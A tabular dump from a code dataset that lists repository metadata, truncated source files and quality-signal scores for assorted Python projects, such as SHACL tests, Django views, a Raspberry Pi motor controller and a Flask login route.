hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
94d1a63f0e804022cc8d4a54dd74c680fb1c1607 | 1,222 | py | Python | test/issues/test_108.py | gtfierro/pySHACL | 2d45891278a0c2fd436d3277e804ccb5b5111fc6 | [
"Apache-2.0"
] | null | null | null | test/issues/test_108.py | gtfierro/pySHACL | 2d45891278a0c2fd436d3277e804ccb5b5111fc6 | [
"Apache-2.0"
] | null | null | null | test/issues/test_108.py | gtfierro/pySHACL | 2d45891278a0c2fd436d3277e804ccb5b5111fc6 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
#
"""
https://github.com/RDFLib/pySHACL/issues/108
"""
from pyshacl import validate
# from DASH
shacl_file_text = """
@prefix dash: <http://datashapes.org/dash#> .
@prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> .
@prefix sh: <http://www.w3.org/ns/shacl#> .
@prefix xsd: <http://www.w3.org... | 33.027027 | 170 | 0.650573 | 169 | 1,222 | 4.668639 | 0.52071 | 0.045627 | 0.034221 | 0.045627 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020576 | 0.204583 | 1,222 | 36 | 171 | 33.944444 | 0.791152 | 0.063011 | 0 | 0 | 0 | 0.074074 | 0.832599 | 0 | 0 | 0 | 0 | 0 | 0.037037 | 1 | 0.037037 | false | 0 | 0.037037 | 0 | 0.074074 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
94d22baf5f7c42b3731fa84f03db5b8ad39c35d4 | 4,156 | py | Python | tests/test_action_delete.py | macbluff/macbluff | 22ac08925cb73e57797ed675198bbb141855a2fa | [
"Apache-2.0"
] | 1 | 2019-08-26T02:31:43.000Z | 2019-08-26T02:31:43.000Z | tests/test_action_delete.py | macbluff/macbluff | 22ac08925cb73e57797ed675198bbb141855a2fa | [
"Apache-2.0"
] | 13 | 2019-04-08T19:37:30.000Z | 2022-03-31T16:17:37.000Z | tests/test_action_delete.py | macbluff/macbluff | 22ac08925cb73e57797ed675198bbb141855a2fa | [
"Apache-2.0"
] | 6 | 2019-04-08T19:22:41.000Z | 2021-10-11T18:42:08.000Z | from sql_base_action_test_case import SqlBaseActionTestCase
from lib.base_action import BaseAction
from st2common.runners.base_action import Action
from delete import SQLDeleteAction
import mock
__all__ = [
'TestActionSQLDeleteAction'
]
class TestActionSQLDeleteAction(SqlBaseActionTestCase):
__test__ = Tru... | 41.56 | 88 | 0.652551 | 449 | 4,156 | 5.623608 | 0.167038 | 0.056634 | 0.053465 | 0.035644 | 0.672871 | 0.672871 | 0.635248 | 0.635248 | 0.600396 | 0.600396 | 0 | 0.003634 | 0.271655 | 4,156 | 99 | 89 | 41.979798 | 0.830525 | 0 | 0 | 0.528736 | 0 | 0 | 0.093359 | 0.025265 | 0 | 0 | 0 | 0 | 0.126437 | 1 | 0.034483 | false | 0 | 0.057471 | 0 | 0.126437 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
94d9a909eb8c022a8e76a8745da3c7e34640c3d4 | 481 | py | Python | hyperband/torch_model.py | pavithraes/notebooks | efe8cf6f1d0a67daca2acec19e8c3e0ae305f218 | [
"BSD-3-Clause"
] | 3 | 2020-09-29T22:28:08.000Z | 2022-02-24T07:58:17.000Z | hyperband/torch_model.py | pavithraes/notebooks | efe8cf6f1d0a67daca2acec19e8c3e0ae305f218 | [
"BSD-3-Clause"
] | 13 | 2020-10-26T02:52:51.000Z | 2021-12-03T14:10:11.000Z | hyperband/torch_model.py | pavithraes/notebooks | efe8cf6f1d0a67daca2acec19e8c3e0ae305f218 | [
"BSD-3-Clause"
] | 4 | 2021-03-12T00:15:27.000Z | 2021-06-21T05:50:38.000Z | import torch
import torch.optim as optim
import torch.nn as nn
import torch.nn.functional as F
class HiddenLayerNet(nn.Module):
def __init__(self, n_features=10, n_outputs=1, n_hidden=100, activation="relu"):
super().__init__()
self.fc1 = nn.Linear(n_features, n_hidden)
self.fc2 = nn.Linear... | 34.357143 | 84 | 0.690229 | 72 | 481 | 4.402778 | 0.430556 | 0.138801 | 0.082019 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025575 | 0.18711 | 481 | 14 | 85 | 34.357143 | 0.785166 | 0 | 0 | 0 | 0 | 0 | 0.008299 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.333333 | 0.083333 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
94ea2212e2da30cca0a547b9b8fa6b278a2f9559 | 1,579 | py | Python | scripts/interp1.py | taran1392/norahGunNode | 5670c4677ff03991168b88dc5a631a3ab37faac2 | [
"MIT"
] | null | null | null | scripts/interp1.py | taran1392/norahGunNode | 5670c4677ff03991168b88dc5a631a3ab37faac2 | [
"MIT"
] | null | null | null | scripts/interp1.py | taran1392/norahGunNode | 5670c4677ff03991168b88dc5a631a3ab37faac2 | [
"MIT"
] | null | null | null | import json
import io
import os;
dirname = os.path.dirname(os.path.abspath(__file__));
def writeFile(outputjson,files):
dirname = os.path.dirname(os.path.abspath(__file__));
print dirname+'data%d.json' %files
with io.open(dirname+'/data%d.json' % files, 'w', encoding='utf8') as outfile:
outfile.write(unicod... | 26.316667 | 79 | 0.647245 | 233 | 1,579 | 4.343348 | 0.300429 | 0.035573 | 0.051383 | 0.047431 | 0.228261 | 0.128459 | 0.128459 | 0.128459 | 0 | 0 | 0 | 0.020313 | 0.18936 | 1,579 | 59 | 80 | 26.762712 | 0.770313 | 0.105763 | 0 | 0.093023 | 0 | 0 | 0.05853 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.069767 | null | null | 0.093023 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
94eb21b4fffc261f4164903d747f0af937ef8d0b | 1,151 | py | Python | minemeld_consts.py | splunk-soar-connectors/minemeld | 19c9ca8d5c91de79e6f539897c8d2ceb644ced8c | [
"Apache-2.0"
] | null | null | null | minemeld_consts.py | splunk-soar-connectors/minemeld | 19c9ca8d5c91de79e6f539897c8d2ceb644ced8c | [
"Apache-2.0"
] | null | null | null | minemeld_consts.py | splunk-soar-connectors/minemeld | 19c9ca8d5c91de79e6f539897c8d2ceb644ced8c | [
"Apache-2.0"
] | null | null | null | # File: minemeld_consts.py
#
# Copyright (c) 2021 Splunk Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 47.958333 | 129 | 0.786273 | 179 | 1,151 | 4.899441 | 0.553073 | 0.068415 | 0.034208 | 0.036488 | 0.039909 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008147 | 0.146829 | 1,151 | 23 | 130 | 50.043478 | 0.884929 | 0.501303 | 0 | 0 | 0 | 0 | 0.538462 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
94ec1bbc1b4661ea771df20ee31c1e8410126bd2 | 602 | py | Python | spools/views.py | jnack007/Django_spools | ee60a8ff4929ab5cc4c92f8c0f40f573e03f8aef | [
"MIT"
] | null | null | null | spools/views.py | jnack007/Django_spools | ee60a8ff4929ab5cc4c92f8c0f40f573e03f8aef | [
"MIT"
] | null | null | null | spools/views.py | jnack007/Django_spools | ee60a8ff4929ab5cc4c92f8c0f40f573e03f8aef | [
"MIT"
] | null | null | null | from django.views.generic import TemplateView, ListView
from .models import Spool
from django.db.models import Q
# Create your views here.
class HomePageView(TemplateView):
template_name = 'home.html'
class SearchResultsView(ListView):
model = Spool
template_name = 'search_results.html'
def get_q... | 24.08 | 55 | 0.659468 | 79 | 602 | 4.949367 | 0.607595 | 0.051151 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015251 | 0.237542 | 602 | 24 | 56 | 25.083333 | 0.836601 | 0.172757 | 0 | 0 | 0 | 0 | 0.058704 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.214286 | 0 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
94f2515d8d1e425080bfa526a798f0b9cd0e5727 | 3,234 | py | Python | code/controller.py | jkentwhite/through-a-data-point | 4dfb141b34b1f120761ea8e3d0876d302edc01c4 | [
"MIT"
] | null | null | null | code/controller.py | jkentwhite/through-a-data-point | 4dfb141b34b1f120761ea8e3d0876d302edc01c4 | [
"MIT"
] | null | null | null | code/controller.py | jkentwhite/through-a-data-point | 4dfb141b34b1f120761ea8e3d0876d302edc01c4 | [
"MIT"
] | 3 | 2019-02-16T01:23:42.000Z | 2019-03-01T04:40:36.000Z | import sys
import RPi.GPIO as GPIO
import time
import threading
from subprocess import Popen
# CONSTANTS
VIDEO_FILE = "legal_landscape.mp4"
GPIO.setmode(GPIO.BCM)
MOTOR_A_A = 18
MOTOR_A_B = 23
MOTOR_A_C = 24
MOTOR_A_D = 25
MOTOR_B_A = 4
MOTOR_B_B = 17
MOTOR_B_C = 27
MOTOR_B_D = 22
MOTOR_C_A = 12
MOTOR_C_B = 16
MOT... | 23.955556 | 71 | 0.58658 | 529 | 3,234 | 3.372401 | 0.187146 | 0.080717 | 0.125561 | 0.134529 | 0.409753 | 0.358184 | 0.164798 | 0.164798 | 0.164798 | 0.142377 | 0 | 0.045106 | 0.273346 | 3,234 | 134 | 72 | 24.134328 | 0.714043 | 0.002783 | 0 | 0.247619 | 0 | 0 | 0.027304 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.047619 | null | null | 0.009524 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
94f533cf66e85fa0d46ca7eff754db9874c693f3 | 555 | py | Python | InvenTree/company/migrations/0006_supplierpricebreak_currency.py | ArakniD/InvenTree | 0ebf2ebd832b2d736e895abe054ca56bfd1cc477 | [
"MIT"
] | 656 | 2017-03-29T22:06:14.000Z | 2022-03-30T11:23:52.000Z | InvenTree/company/migrations/0006_supplierpricebreak_currency.py | ArakniD/InvenTree | 0ebf2ebd832b2d736e895abe054ca56bfd1cc477 | [
"MIT"
] | 1,545 | 2017-04-10T23:26:04.000Z | 2022-03-31T18:32:10.000Z | InvenTree/company/migrations/0006_supplierpricebreak_currency.py | ArakniD/InvenTree | 0ebf2ebd832b2d736e895abe054ca56bfd1cc477 | [
"MIT"
] | 196 | 2017-03-28T03:06:21.000Z | 2022-03-28T11:53:29.000Z | # Generated by Django 2.2.4 on 2019-09-02 23:34
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('common', '0003_auto_20190902_2310'),
('company', '0005_auto_20190525_2356'),
]
operations = [
migra... | 26.428571 | 127 | 0.65045 | 64 | 555 | 5.5 | 0.671875 | 0.068182 | 0.079545 | 0.125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.109557 | 0.227027 | 555 | 20 | 128 | 27.75 | 0.710956 | 0.081081 | 0 | 0 | 1 | 0 | 0.19685 | 0.090551 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.357143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a2048304bdb4638f4d58d8f8074f30cc4b07ecc0 | 420 | py | Python | messenger/subscriber.py | tombenke/py-msgp | 3f8e6bfa687424e33390d45032ff19a7142635ef | [
"MIT"
] | 1 | 2022-01-20T11:19:09.000Z | 2022-01-20T11:19:09.000Z | messenger/subscriber.py | tombenke/py-msgp | 3f8e6bfa687424e33390d45032ff19a7142635ef | [
"MIT"
] | null | null | null | messenger/subscriber.py | tombenke/py-msgp | 3f8e6bfa687424e33390d45032ff19a7142635ef | [
"MIT"
] | null | null | null | """The Subscriber class"""
from abc import ABC, abstractmethod
class Subscriber(ABC):
"""
Abstract base class that represents a subscriber entity that observer a topic,
and can unsubscribe from it.
The real messenger classes must implement the abstract methods
"""
def __str__(self):
p... | 23.333333 | 82 | 0.685714 | 50 | 420 | 5.68 | 0.62 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.240476 | 420 | 17 | 83 | 24.705882 | 0.890282 | 0.454762 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.166667 | 0.166667 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
a207f9c47c01b947bcdf0007f857836977990773 | 1,030 | py | Python | testing/downloadertest.py | gittb/Saltie | 71c1c4d9019bedb588409d29b6280aaeb364e61c | [
"MIT"
] | null | null | null | testing/downloadertest.py | gittb/Saltie | 71c1c4d9019bedb588409d29b6280aaeb364e61c | [
"MIT"
] | null | null | null | testing/downloadertest.py | gittb/Saltie | 71c1c4d9019bedb588409d29b6280aaeb364e61c | [
"MIT"
] | null | null | null | from framework.data_generator.replay.replay_generator import ReplayDownloaderGenerator
import time
import sys
import pickle
downloader = ReplayDownloaderGenerator()
downloader.initialize(buffer_size=10, parallel_threads=1)
numround = 20
numitems = 1000
datalist = []
check = False
for round1 in range(numround):
... | 27.105263 | 86 | 0.62233 | 109 | 1,030 | 5.788991 | 0.53211 | 0.110935 | 0.142631 | 0.174326 | 0.263074 | 0.263074 | 0.263074 | 0.263074 | 0.263074 | 0.263074 | 0 | 0.034806 | 0.274757 | 1,030 | 38 | 87 | 27.105263 | 0.809906 | 0 | 0 | 0.266667 | 0 | 0 | 0.069835 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.133333 | 0 | 0.133333 | 0.133333 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a209478cbdc2d0cf49e1ce2aa00c3344a15ffeb3 | 1,527 | py | Python | examples/Advanced/Sorting.py | karstenw/nodebox-pyobjc | 477aeaa53636944cd400ecdfe97f4ff2480761c7 | [
"MIT"
] | 6 | 2016-05-02T02:25:23.000Z | 2022-03-16T14:01:54.000Z | examples/Advanced/Sorting.py | karstenw/nodebox-pyobjc | 477aeaa53636944cd400ecdfe97f4ff2480761c7 | [
"MIT"
] | 2 | 2018-01-27T18:24:20.000Z | 2018-02-10T23:33:46.000Z | examples/Advanced/Sorting.py | karstenw/nodebox-pyobjc | 477aeaa53636944cd400ecdfe97f4ff2480761c7 | [
"MIT"
] | 1 | 2018-01-28T15:22:11.000Z | 2018-01-28T15:22:11.000Z | # This example shows one of the possibilities of the canvas:
# the ability to access all existing objects on it.
size(550, 300)
fill(1, 0.8)
strokewidth(1.5)
# First, generate some rectangles all over the canvas, rotated randomly.
for i in range(3000):
grob = rect(random(WIDTH)-25, random(HEIGHT)-25,50, 50)
... | 28.811321 | 73 | 0.689587 | 262 | 1,527 | 3.992366 | 0.51145 | 0.063098 | 0.030593 | 0.01912 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.049917 | 0.212836 | 1,527 | 53 | 74 | 28.811321 | 0.8203 | 0.614931 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.043478 | false | 0 | 0 | 0 | 0.173913 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a20bf0fd1c047929ecad62018783ef960d1807fe | 3,299 | py | Python | boa-web/routes/auth.py | malice-labs/boa | 49c1fd24e2050f8e08409a6871b7e30c6d1e27f7 | [
"MIT"
] | 3 | 2020-08-10T04:24:45.000Z | 2022-03-16T07:22:11.000Z | boa-web/routes/auth.py | malice-labs/boa | 49c1fd24e2050f8e08409a6871b7e30c6d1e27f7 | [
"MIT"
] | 15 | 2020-08-09T22:01:32.000Z | 2022-03-18T04:15:53.000Z | boa-web/routes/auth.py | malice-labs/boa | 49c1fd24e2050f8e08409a6871b7e30c6d1e27f7 | [
"MIT"
] | 2 | 2021-02-04T16:25:57.000Z | 2021-12-20T20:07:58.000Z | """
auth.py
Defines all routes that are used specifically for authentication. Used to identify
scans to a user.
"""
import os
import binascii
import hashlib
from flask import render_template, request, redirect, flash, url_for
from flask_login import login_user, logout_user
from boa import db
from boa.routes ... | 30.546296 | 86 | 0.654138 | 411 | 3,299 | 5.175182 | 0.321168 | 0.025388 | 0.06394 | 0.075223 | 0.283028 | 0.232722 | 0.136342 | 0.101551 | 0.101551 | 0.063 | 0 | 0.003586 | 0.239163 | 3,299 | 107 | 87 | 30.831776 | 0.843825 | 0.192179 | 0 | 0.241935 | 0 | 0 | 0.146723 | 0 | 0 | 0 | 0 | 0.009346 | 0 | 1 | 0.080645 | false | 0.096774 | 0.145161 | 0 | 0.419355 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
a2115121792fce0bef3d064ea0654c0f31e7ba1b | 1,131 | py | Python | tweeterverse.py | naz2007/tweety-mine | 83e2a0a83502d4c4c371ca365a7c92a616428d75 | [
"MIT"
] | null | null | null | tweeterverse.py | naz2007/tweety-mine | 83e2a0a83502d4c4c371ca365a7c92a616428d75 | [
"MIT"
] | null | null | null | tweeterverse.py | naz2007/tweety-mine | 83e2a0a83502d4c4c371ca365a7c92a616428d75 | [
"MIT"
] | null | null | null | #Twitter Profiler app. This is a simple script to configure the Twitter API
import tweepy
import time #https://github.com/tweepy/tweepy
# Twitter API credentials. Get yours from apps.twitter.com. Twitter acct rquired
# If you need help, visit https://dev.twitter.com/oauth/overview
consumer_key = "Gvgd0vrVtzW75... | 40.392857 | 82 | 0.763926 | 142 | 1,131 | 5.929577 | 0.521127 | 0.035629 | 0.035629 | 0.042755 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.035827 | 0.16092 | 1,131 | 28 | 83 | 40.392857 | 0.851423 | 0.419098 | 0 | 0 | 0 | 0 | 0.294872 | 0.272436 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.117647 | null | null | 0.058824 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a2173048fd49fa12babfe4478a4385f72c5c1495 | 871 | py | Python | frappe-bench/apps/erpnext/erpnext/patches/v8_0/update_supplier_address_in_stock_entry.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | 1 | 2021-04-29T14:55:29.000Z | 2021-04-29T14:55:29.000Z | frappe-bench/apps/erpnext/erpnext/patches/v8_0/update_supplier_address_in_stock_entry.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/patches/v8_0/update_supplier_address_in_stock_entry.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | 1 | 2021-04-29T14:39:01.000Z | 2021-04-29T14:39:01.000Z | # Copyright (c) 2017, Frappe and Contributors
# License: GNU General Public License v3. See license.txt
from __future__ import unicode_literals
import frappe
def execute():
# copy supplier_address to address_display, and set supplier_address to blank
stock_entries = frappe.db.sql(""" select name, purchase_order, s... | 37.869565 | 123 | 0.768083 | 123 | 871 | 5.203252 | 0.455285 | 0.210938 | 0.079688 | 0.075 | 0.10625 | 0.10625 | 0 | 0 | 0 | 0 | 0 | 0.00657 | 0.126292 | 871 | 22 | 124 | 39.590909 | 0.834428 | 0.307692 | 0 | 0 | 0 | 0 | 0.349498 | 0.040134 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.181818 | 0 | 0.272727 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a21a634cf766c04f7d3065c91d92689f7d705c8f | 380 | py | Python | error.py | chengziyi/cyy | 12dabaef2d3661cd2d9d96ea627534fb8d7ac2ac | [
"MIT"
] | null | null | null | error.py | chengziyi/cyy | 12dabaef2d3661cd2d9d96ea627534fb8d7ac2ac | [
"MIT"
] | null | null | null | error.py | chengziyi/cyy | 12dabaef2d3661cd2d9d96ea627534fb8d7ac2ac | [
"MIT"
] | null | null | null | '''
* 编译过程中的错误信息
* @version 0.1
* @author czy
* @license MIT
*
* 当前特性:
* 1.树状的符号表
* 2.简单的引用消解:没有考虑声明的先后顺序,也没有考虑闭包
* 3.简单的作用域
'''
from ast import AstNode
from scanner import Position
class CompilerError:
def __init__(self, msg:str, beginPos:Position, isWarning = False):
self.msg = msg
... | 16.521739 | 68 | 0.652632 | 45 | 380 | 5.422222 | 0.711111 | 0.057377 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017301 | 0.239474 | 380 | 22 | 69 | 17.272727 | 0.82699 | 0.318421 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.285714 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
